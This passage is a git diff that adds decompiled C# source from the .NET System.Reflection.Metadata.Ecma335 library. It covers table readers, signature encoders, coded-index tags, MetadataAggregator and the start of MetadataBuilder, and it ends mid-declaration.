_isImportScopeRefSmall = importScopeRefSize == 2; + _isLocalVariableRefSmall = localVariableRefSize == 2; + _isLocalConstantRefSmall = localConstantRefSize == 2; + _importScopeOffset = methodRefSize; + _variableListOffset = _importScopeOffset + importScopeRefSize; + _constantListOffset = _variableListOffset + localVariableRefSize; + _startOffsetOffset = _constantListOffset + localConstantRefSize; + _lengthOffset = _startOffsetOffset + 4; + RowSize = _lengthOffset + 4; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (numberOfRows > 0 && !declaredSorted) + { + Throw.TableNotSorted(TableIndex.LocalScope); + } + } + + internal MethodDefinitionHandle GetMethod(int rowId) + { + int offset = (rowId - 1) * RowSize; + return MethodDefinitionHandle.FromRowId(Block.PeekReference(offset, _isMethodRefSmall)); + } + + internal ImportScopeHandle GetImportScope(LocalScopeHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return ImportScopeHandle.FromRowId(Block.PeekReference(num + _importScopeOffset, _isImportScopeRefSmall)); + } + + internal int GetVariableStart(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _variableListOffset, _isLocalVariableRefSmall); + } + + internal int GetConstantStart(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekReference(num + _constantListOffset, _isLocalConstantRefSmall); + } + + internal int GetStartOffset(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekInt32(num + _startOffsetOffset); + } + + internal int GetLength(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekInt32(num + _lengthOffset); + } + + internal int GetEndOffset(int rowId) + { + int num = (rowId - 1) * RowSize; + long num2 = Block.PeekUInt32(num + _startOffsetOffset) + Block.PeekUInt32(num + _lengthOffset); + if ((int)num2 != num2) + { + Throw.ValueOverflow(); + } + return (int)num2; + } + + internal void GetLocalScopeRange(int methodDefRid, out int firstScopeRowId, out int lastScopeRowId) + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, 0, (uint)methodDefRid, _isMethodRefSmall, out var startRowNumber, out var endRowNumber); + if (startRowNumber == -1) + { + firstScopeRowId = 1; + lastScopeRowId = 0; + } + else + { + firstScopeRowId = startRowNumber + 1; + lastScopeRowId = endRowNumber + 1; + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariableTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariableTableReader.cs new file mode 100644 index 0000000..7095f74 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariableTableReader.cs @@ -0,0 +1,49 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct LocalVariableTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _isStringHeapRefSizeSmall; + + private readonly int _attributesOffset; + + private readonly int _indexOffset; + + private readonly int _nameOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal LocalVariableTableReader(int numberOfRows, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _isStringHeapRefSizeSmall = stringHeapRefSize == 2; + _attributesOffset = 0; + _indexOffset = _attributesOffset + 2; + _nameOffset = _indexOffset + 2; + RowSize = _nameOffset + stringHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal LocalVariableAttributes GetAttributes(LocalVariableHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (LocalVariableAttributes)Block.PeekUInt16(num + _attributesOffset); + } + + internal ushort GetIndex(LocalVariableHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return Block.PeekUInt16(num + _indexOffset); + } + + internal StringHandle GetName(LocalVariableHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _nameOffset, _isStringHeapRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariableTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariableTypeEncoder.cs new file mode 100644 index 0000000..96c8b85 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariableTypeEncoder.cs @@ -0,0 +1,34 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct LocalVariableTypeEncoder +{ + public BlobBuilder Builder { get; } + + public LocalVariableTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public CustomModifiersEncoder CustomModifiers() + { + return new CustomModifiersEncoder(Builder); + } + + public SignatureTypeEncoder Type(bool isByRef = false, bool isPinned = false) + { + if (isPinned) + { + Builder.WriteByte(69); + } + if (isByRef) + { + Builder.WriteByte(16); + } + return new SignatureTypeEncoder(Builder); + } + + public void TypedReference() + { + Builder.WriteByte(22); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariablesEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariablesEncoder.cs new file mode 100644 index 0000000..de9e518 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/LocalVariablesEncoder.cs @@ -0,0 +1,16 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct LocalVariablesEncoder +{ + public BlobBuilder Builder { get; } + + public LocalVariablesEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public LocalVariableTypeEncoder AddVariable() + { + return new LocalVariableTypeEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ManifestResourceTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ManifestResourceTableReader.cs new file mode 100644 index 0000000..727d11d --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ManifestResourceTableReader.cs @@ -0,0 +1,61 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ManifestResourceTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsImplementationRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly int _OffsetOffset; + + private readonly int _FlagsOffset; + + private readonly int _NameOffset; + + private readonly int _ImplementationOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ManifestResourceTableReader(int numberOfRows, int implementationRefSize, int stringHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsImplementationRefSizeSmall = implementationRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _OffsetOffset = 0; + _FlagsOffset = _OffsetOffset + 4; + _NameOffset = _FlagsOffset + 4; + _ImplementationOffset = _NameOffset + stringHeapRefSize; + RowSize = _ImplementationOffset + implementationRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal StringHandle GetName(ManifestResourceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal EntityHandle GetImplementation(ManifestResourceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return ImplementationTag.ConvertToHandle(Block.PeekTaggedReference(num + _ImplementationOffset, _IsImplementationRefSizeSmall)); + } + + internal uint GetOffset(ManifestResourceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return Block.PeekUInt32(num + _OffsetOffset); + } + + internal ManifestResourceAttributes GetFlags(ManifestResourceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (ManifestResourceAttributes)Block.PeekUInt32(num + _FlagsOffset); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberForwardedTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberForwardedTag.cs new file mode 100644 index 0000000..a3a078e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberForwardedTag.cs @@ -0,0 +1,37 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class MemberForwardedTag +{ + internal const int NumberOfBits = 1; + + internal const int LargeRowSize = 32768; + + internal const uint Field = 0u; + + internal const uint MethodDef = 1u; + + internal const uint TagMask = 1u; + + internal const TableMask TablesReferenced = TableMask.Field | TableMask.MethodDef; + + internal const uint TagToTokenTypeByteVector = 1540u; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint memberForwarded) + { + uint num = (uint)(1540 >>> (int)((memberForwarded & 1) << 3) << 24); + uint num2 = memberForwarded >> 1; + if ((num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } + + internal static uint ConvertMethodDefToTag(MethodDefinitionHandle methodDef) + { + return (uint)((methodDef.RowId << 1) | 1); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefParentTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefParentTag.cs new file mode 100644 index 0000000..42ba0a8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefParentTag.cs @@ -0,0 +1,38 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class MemberRefParentTag +{ + internal const int NumberOfBits = 3; + + internal const int LargeRowSize = 8192; + + internal const uint TypeDef = 0u; + + internal const uint TypeRef = 1u; + + internal const uint ModuleRef = 2u; + + internal const uint MethodDef = 3u; + + internal const uint TypeSpec = 4u; + + internal const uint TagMask = 7u; + + internal const TableMask TablesReferenced = TableMask.TypeRef | TableMask.TypeDef | TableMask.MethodDef | TableMask.ModuleRef | TableMask.TypeSpec; + + internal const ulong TagToTokenTypeByteVector = 116066484482uL; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint memberRef) + { + uint num = (uint)(116066484482L >>> (int)((memberRef & 7) << 3) << 24); + uint num2 = memberRef >> 3; + if (num == 0 || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefTableReader.cs new file mode 100644 index 0000000..144055f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefTableReader.cs @@ -0,0 +1,55 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal struct MemberRefTableReader +{ + internal int NumberOfRows; + + private readonly bool _IsMemberRefParentRefSizeSmall; + + private readonly bool _IsStringHeapRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _ClassOffset; + + private readonly int _NameOffset; + + private readonly int _SignatureOffset; + + internal readonly int RowSize; + + internal MemoryBlock Block; + + internal MemberRefTableReader(int numberOfRows, int memberRefParentRefSize, int stringHeapRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsMemberRefParentRefSizeSmall = memberRefParentRefSize == 2; + _IsStringHeapRefSizeSmall = stringHeapRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _ClassOffset = 0; + _NameOffset = _ClassOffset + memberRefParentRefSize; + _SignatureOffset = _NameOffset + stringHeapRefSize; + RowSize = _SignatureOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + } + + internal BlobHandle GetSignature(MemberReferenceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _SignatureOffset, _IsBlobHeapRefSizeSmall)); + } + + internal StringHandle GetName(MemberReferenceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return StringHandle.FromOffset(Block.PeekHeapReference(num + _NameOffset, _IsStringHeapRefSizeSmall)); + } + + internal EntityHandle GetClass(MemberReferenceHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return MemberRefParentTag.ConvertToHandle(Block.PeekTaggedReference(num + _ClassOffset, _IsMemberRefParentRefSizeSmall)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefTreatment.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefTreatment.cs new file mode 100644 index 0000000..7de24f4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MemberRefTreatment.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +internal enum MemberRefTreatment : byte +{ + None = 0, + Dispose = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataAggregator.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataAggregator.cs new file mode 100644 index 0000000..3d95f2b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataAggregator.cs @@ -0,0 +1,263 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +public sealed class MetadataAggregator +{ + internal struct RowCounts : IComparable + { + public int AggregateInserts; + + public int Updates; + + public int CompareTo(RowCounts other) + { + return AggregateInserts - other.AggregateInserts; + } + + public override string ToString() + { + return $"+0x{AggregateInserts:x} ~0x{Updates:x}"; + } + } + + private readonly ImmutableArray> _heapSizes; + + private readonly ImmutableArray> _rowCounts; + + public MetadataAggregator(MetadataReader baseReader, IReadOnlyList deltaReaders) + : this(baseReader, null, null, deltaReaders) + { + } + + public MetadataAggregator(IReadOnlyList? baseTableRowCounts, IReadOnlyList? baseHeapSizes, IReadOnlyList? deltaReaders) + : this(null, baseTableRowCounts, baseHeapSizes, deltaReaders) + { + } + + private MetadataAggregator(MetadataReader baseReader, IReadOnlyList baseTableRowCounts, IReadOnlyList baseHeapSizes, IReadOnlyList deltaReaders) + { + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + if (baseTableRowCounts == null) + { + if (baseReader == null) + { + Throw.ArgumentNull("baseReader"); + } + if (baseReader.GetTableRowCount(TableIndex.EncMap) != 0) + { + throw new ArgumentException(System.SR.BaseReaderMustBeFullMetadataReader, "baseReader"); + } + CalculateBaseCounts(baseReader, out baseTableRowCounts, out baseHeapSizes); + } + else + { + if (baseTableRowCounts.Count != MetadataTokens.TableCount) + { + throw new ArgumentException(System.SR.Format(System.SR.ExpectedListOfSize, MetadataTokens.TableCount), "baseTableRowCounts"); + } + if (baseHeapSizes == null) + { + Throw.ArgumentNull("baseHeapSizes"); + } + if (baseHeapSizes.Count != MetadataTokens.HeapCount) + { + throw new ArgumentException(System.SR.Format(System.SR.ExpectedListOfSize, MetadataTokens.HeapCount), "baseTableRowCounts"); + } + } + if (deltaReaders == null || deltaReaders.Count == 0) + { + throw new ArgumentException(System.SR.ExpectedNonEmptyList, "deltaReaders"); + } + for (int i = 0; i < deltaReaders.Count; i++) + { + if (deltaReaders[i].GetTableRowCount(TableIndex.EncMap) == 0 || !deltaReaders[i].IsMinimalDelta) + { + throw new ArgumentException(System.SR.ReadersMustBeDeltaReaders, "deltaReaders"); + } + } + _heapSizes = CalculateHeapSizes(baseHeapSizes, deltaReaders); + _rowCounts = CalculateRowCounts(baseTableRowCounts, deltaReaders); + } + + internal MetadataAggregator(RowCounts[][] rowCounts, int[][] heapSizes) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + _rowCounts = ToImmutable(rowCounts); + _heapSizes = ToImmutable(heapSizes); + } + + private static void CalculateBaseCounts(MetadataReader baseReader, out IReadOnlyList baseTableRowCounts, out IReadOnlyList baseHeapSizes) + { + int[] array = new int[MetadataTokens.TableCount]; + int[] array2 = new int[MetadataTokens.HeapCount]; + for (int i = 0; i < array.Length; i++) + { + array[i] = baseReader.GetTableRowCount((TableIndex)i); + } + for (int j = 0; j < array2.Length; j++) + { + array2[j] = baseReader.GetHeapSize((HeapIndex)j); + } + baseTableRowCounts = array; + baseHeapSizes = array2; + } + + private static ImmutableArray> CalculateHeapSizes(IReadOnlyList baseSizes, IReadOnlyList deltaReaders) + { + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + int num = 1 + deltaReaders.Count; + int[] array = new int[num]; + int[] array2 = new int[num]; + int[] array3 = new int[num]; + int[] array4 = new int[num]; + array[0] = baseSizes[0]; + array2[0] = baseSizes[1]; + array3[0] = baseSizes[2]; + array4[0] = baseSizes[3] / 16; + for (int i = 0; i < deltaReaders.Count; i++) + { + array[i + 1] = array[i] + deltaReaders[i].GetHeapSize(HeapIndex.UserString); + array2[i + 1] = array2[i] + deltaReaders[i].GetHeapSize(HeapIndex.String); + array3[i + 1] = array3[i] + deltaReaders[i].GetHeapSize(HeapIndex.Blob); + array4[i + 1] = array4[i] + deltaReaders[i].GetHeapSize(HeapIndex.Guid) / 16; + } + return ImmutableArray.Create>(ImmutableArray.ToImmutableArray((IEnumerable)array), ImmutableArray.ToImmutableArray((IEnumerable)array2), ImmutableArray.ToImmutableArray((IEnumerable)array3), ImmutableArray.ToImmutableArray((IEnumerable)array4)); + } + + private static ImmutableArray> CalculateRowCounts(IReadOnlyList baseRowCounts, IReadOnlyList deltaReaders) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + RowCounts[][] baseRowCounts2 = GetBaseRowCounts(baseRowCounts, 1 + deltaReaders.Count); + for (int i = 1; i <= deltaReaders.Count; i++) + { + CalculateDeltaRowCountsForGeneration(baseRowCounts2, i, ref deltaReaders[i - 1].EncMapTable); + } + return ToImmutable(baseRowCounts2); + } + + private static ImmutableArray> ToImmutable(T[][] array) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray[] array2 = new ImmutableArray[array.Length]; + for (int i = 0; i < array.Length; i++) + { + array2[i] = ImmutableArray.ToImmutableArray((IEnumerable)array[i]); + } + return ImmutableArray.ToImmutableArray>((IEnumerable>)array2); + } + + internal static RowCounts[][] GetBaseRowCounts(IReadOnlyList baseRowCounts, int generations) + { + RowCounts[][] array = new RowCounts[MetadataTokens.TableCount][]; + for (int i = 0; i < array.Length; i++) + { + array[i] = new RowCounts[generations]; + array[i][0].AggregateInserts = baseRowCounts[i]; + } + return array; + } + + internal static void CalculateDeltaRowCountsForGeneration(RowCounts[][] rowCounts, int generation, ref EnCMapTableReader encMapTable) + { + foreach (RowCounts[] array in rowCounts) + { + array[generation].AggregateInserts = array[generation - 1].AggregateInserts; + } + int numberOfRows = encMapTable.NumberOfRows; + for (int j = 1; j <= numberOfRows; j++) + { + uint token = encMapTable.GetToken(j); + int num = (int)(token & 0xFFFFFF); + RowCounts[] array2 = rowCounts[token >> 24]; + if (num > array2[generation].AggregateInserts) + { + if (num != array2[generation].AggregateInserts + 1) + { + throw new BadImageFormatException(System.SR.EnCMapNotSorted); + } + array2[generation].AggregateInserts = num; + } + else + { + array2[generation].Updates++; + } + } + } + + public Handle GetGenerationHandle(Handle handle, out int generation) + { + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00ed: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if (handle.IsVirtual) + { + throw new NotSupportedException(); + } + if (handle.IsHeapHandle) + { + int offset = handle.Offset; + MetadataTokens.TryGetHeapIndex(handle.Kind, out var index); + ImmutableArray val = _heapSizes[(int)index]; + int num = ((handle.Type == 114) ? (offset - 1) : offset); + generation = ImmutableArray.BinarySearch(val, num); + if (generation >= 0) + { + do + { + generation++; + } + while (generation < val.Length && val[generation] == num); + } + else + { + generation = ~generation; + } + if (generation >= val.Length) + { + throw new ArgumentException(System.SR.HandleBelongsToFutureGeneration, "handle"); + } + int value = ((handle.Type == 114 || generation == 0) ? offset : (offset - val[generation - 1])); + return new Handle((byte)handle.Type, value); + } + int rowId = handle.RowId; + ImmutableArray val2 = _rowCounts[(int)handle.Type]; + generation = ImmutableArray.BinarySearch(val2, new RowCounts + { + AggregateInserts = rowId + }); + if (generation >= 0) + { + while (generation > 0 && val2[generation - 1].AggregateInserts == rowId) + { + generation--; + } + } + else + { + generation = ~generation; + if (generation >= val2.Length) + { + throw new ArgumentException(System.SR.HandleBelongsToFutureGeneration, "handle"); + } + } + int value2 = ((generation == 0) ? rowId : (rowId - val2[generation - 1].AggregateInserts + val2[generation].Updates)); + return new Handle((byte)handle.Type, value2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataBuilder.cs new file mode 100644 index 0000000..e518a9a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/MetadataBuilder.cs @@ -0,0 +1,2796 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +public sealed class MetadataBuilder +{ + private struct AssemblyRefTableRow + { + public Version Version; + + public BlobHandle PublicKeyToken; + + public StringHandle Name; + + public StringHandle Culture; + + public uint Flags; + + public BlobHandle HashValue; + } + + private struct ModuleRow + { + public ushort Generation; + + public StringHandle Name; + + public GuidHandle ModuleVersionId; + + public GuidHandle EncId; + + public GuidHandle EncBaseId; + } + + private struct AssemblyRow + { + public uint HashAlgorithm; + + public Version Version; + + public ushort Flags; + + public BlobHandle AssemblyKey; + + public StringHandle AssemblyName; + + public StringHandle AssemblyCulture; + } + + private struct ClassLayoutRow + { + public ushort PackingSize; + + public uint ClassSize; + + public int Parent; + } + + private struct ConstantRow + { + public byte Type; + + public int Parent; + + public BlobHandle Value; + } + + private struct CustomAttributeRow + { + public int Parent; + + public int Type; + + public BlobHandle Value; + } + + private struct DeclSecurityRow + { + public ushort Action; + + public int Parent; + + public BlobHandle PermissionSet; + } + + private struct EncLogRow + { + public int Token; + + public byte FuncCode; + } + + private struct EncMapRow + { + public int Token; + } + + private struct EventRow + { + public ushort EventFlags; + + public StringHandle Name; + + public int EventType; + } + + private struct EventMapRow + { + public int Parent; + + public int EventList; + } + + private struct ExportedTypeRow + { + public uint Flags; + + public int TypeDefId; + + public StringHandle TypeName; + + public StringHandle TypeNamespace; + + public int Implementation; + } + + private struct FieldLayoutRow + { + public int Offset; + + public int Field; + } + + private struct FieldMarshalRow + { + public int Parent; + + public BlobHandle NativeType; + } + + private struct FieldRvaRow + { + public int Offset; + + public int Field; + } + + private struct FieldDefRow + { + public ushort Flags; + + public StringHandle Name; + + public BlobHandle Signature; + } + + private struct FileTableRow + { + public uint Flags; + + public StringHandle FileName; + + public BlobHandle HashValue; + } + + private struct GenericParamConstraintRow + { + public int Owner; + + public int Constraint; + } + + private struct GenericParamRow + { + public ushort Number; + + public ushort Flags; + + public int Owner; + + public StringHandle Name; + } + + private struct ImplMapRow + { + public ushort MappingFlags; + + public int MemberForwarded; + + public StringHandle ImportName; + + public int ImportScope; + } + + private struct InterfaceImplRow + { + public int Class; + + public int Interface; + } + + private struct ManifestResourceRow + { + public uint Offset; + + public uint Flags; + + public StringHandle Name; + + public int Implementation; + } + + private struct MemberRefRow + { + public int Class; + + public StringHandle Name; + + public BlobHandle Signature; + } + + private struct MethodImplRow + { + public int Class; + + public int MethodBody; + + public int MethodDecl; + } + + private struct MethodSemanticsRow + { + public ushort Semantic; + + public int Method; + + public int Association; + } + + private struct MethodSpecRow + { + public int Method; + + public BlobHandle Instantiation; + } + + private struct MethodRow + { + public int BodyOffset; + + public ushort ImplFlags; + + public ushort Flags; + + public StringHandle Name; + + public BlobHandle Signature; + + public int ParamList; + } + + private struct ModuleRefRow + { + public StringHandle Name; + } + + private struct NestedClassRow + { + public int NestedClass; + + public int EnclosingClass; + } + + private struct ParamRow + { + public ushort Flags; + + public ushort Sequence; + + public StringHandle Name; + } + + private struct PropertyMapRow + { + public int Parent; + + public int PropertyList; + } + + private struct PropertyRow + { + public ushort PropFlags; + + public StringHandle Name; + + public BlobHandle Type; + } + + private struct TypeDefRow + { + public uint Flags; + + public StringHandle Name; + + public StringHandle Namespace; + + public int Extends; + + public int FieldList; + + public int MethodList; + } + + private struct TypeRefRow + { + public int ResolutionScope; + + public StringHandle Name; + + public StringHandle Namespace; + } + + private struct TypeSpecRow + { + public BlobHandle Signature; + } + + private struct StandaloneSigRow + { + public BlobHandle Signature; + } + + private struct DocumentRow + { + public BlobHandle Name; + + public GuidHandle HashAlgorithm; + + public BlobHandle Hash; + + public GuidHandle Language; + } + + private struct MethodDebugInformationRow + { + public int Document; + + public BlobHandle SequencePoints; + } + + private struct LocalScopeRow + { + public int Method; + + public int ImportScope; + + public int VariableList; + + public int ConstantList; + + public int StartOffset; + + public int Length; + } + + private struct LocalVariableRow + { + public ushort Attributes; + + public ushort Index; + + public StringHandle Name; + } + + private struct LocalConstantRow + { + public StringHandle Name; + + public BlobHandle Signature; + } + + private struct ImportScopeRow + { + public int Parent; + + public BlobHandle Imports; + } + + private struct StateMachineMethodRow + { + public int MoveNextMethod; + + public int KickoffMethod; + } + + private struct CustomDebugInformationRow + { + public int Parent; + + public GuidHandle Kind; + + public BlobHandle Value; + } + + private sealed class HeapBlobBuilder : BlobBuilder + { + private int _capacityExpansion; + + public HeapBlobBuilder(int capacity) + : base(capacity) + { + } + + protected override BlobBuilder AllocateChunk(int minimalSize) + { + return new HeapBlobBuilder(Math.Max(Math.Max(minimalSize, base.ChunkCapacity), _capacityExpansion)); + } + + internal void SetCapacity(int capacity) + { + _capacityExpansion = Math.Max(0, capacity - base.Count - base.FreeBytes); + } + } + + private sealed class SuffixSort : IComparer> + { + internal static SuffixSort Instance = new SuffixSort(); + + public int Compare(KeyValuePair xPair, KeyValuePair yPair) + { + string key = xPair.Key; + string key2 = yPair.Key; + int num = key.Length - 1; + int num2 = key2.Length - 1; + while (num >= 0 && num2 >= 0) + { + if (key[num] < key2[num2]) + { + return -1; + } + if (key[num] > key2[num2]) + { + return 1; + } + num--; + num2--; + } + return key2.Length.CompareTo(key.Length); + } + } + + private const byte MetadataFormatMajorVersion = 2; + + private const byte MetadataFormatMinorVersion = 0; + + private ModuleRow? _moduleRow; + + private AssemblyRow? _assemblyRow; + + private readonly List _classLayoutTable = new List(); + + private readonly List _constantTable = new List(); + + private int _constantTableLastParent; + + private bool _constantTableNeedsSorting; + + private readonly List _customAttributeTable = new List(); + + private int _customAttributeTableLastParent; + + private bool _customAttributeTableNeedsSorting; + + private readonly List _declSecurityTable = new List(); + + private int _declSecurityTableLastParent; + + private bool _declSecurityTableNeedsSorting; + + private readonly List _encLogTable = new List(); + + private readonly List _encMapTable = new List(); + + private readonly List _eventTable = new List(); + + private readonly List _eventMapTable = new List(); + + private readonly List _exportedTypeTable = new List(); + + private readonly List _fieldLayoutTable = new List(); + + private readonly List _fieldMarshalTable = new List(); + + private int _fieldMarshalTableLastParent; + + private bool _fieldMarshalTableNeedsSorting; + + private readonly List _fieldRvaTable = new List(); + + private readonly List _fieldTable = new List(); + + private readonly List _fileTable = new List(); + + private readonly List _genericParamConstraintTable = new List(); + + private readonly List _genericParamTable = new List(); + + private readonly List _implMapTable = new List(); + + private readonly List _interfaceImplTable = new List(); + + private readonly List _manifestResourceTable = new List(); + + private readonly List _memberRefTable = new List(); + + private readonly List _methodImplTable = new List(); + + private readonly List _methodSemanticsTable = new List(); + + private int _methodSemanticsTableLastAssociation; + + private bool _methodSemanticsTableNeedsSorting; + + private readonly List _methodSpecTable = new List(); + + private readonly List _methodDefTable = new List(); + + private readonly List _moduleRefTable = new List(); + + private readonly List _nestedClassTable = new List(); + + private readonly List _paramTable = new List(); + + private readonly List _propertyMapTable = new List(); + + private readonly List _propertyTable = new List(); + + private readonly List _typeDefTable = new List(); + + private readonly List _typeRefTable = new List(); + + private readonly List _typeSpecTable = new List(); + + private readonly List _assemblyRefTable = new List(); + + private readonly List _standAloneSigTable = new List(); + + private readonly List _documentTable = new List(); + + private readonly List _methodDebugInformationTable = new List(); + + private readonly List _localScopeTable = new List(); + + private readonly List _localVariableTable = new List(); + + private readonly List _localConstantTable = new List(); + + private readonly List _importScopeTable = new List(); + + private readonly List _stateMachineMethodTable = new List(); + + private readonly List _customDebugInformationTable = new List(); + + private const int UserStringHeapSizeLimit = 16777216; + + private readonly 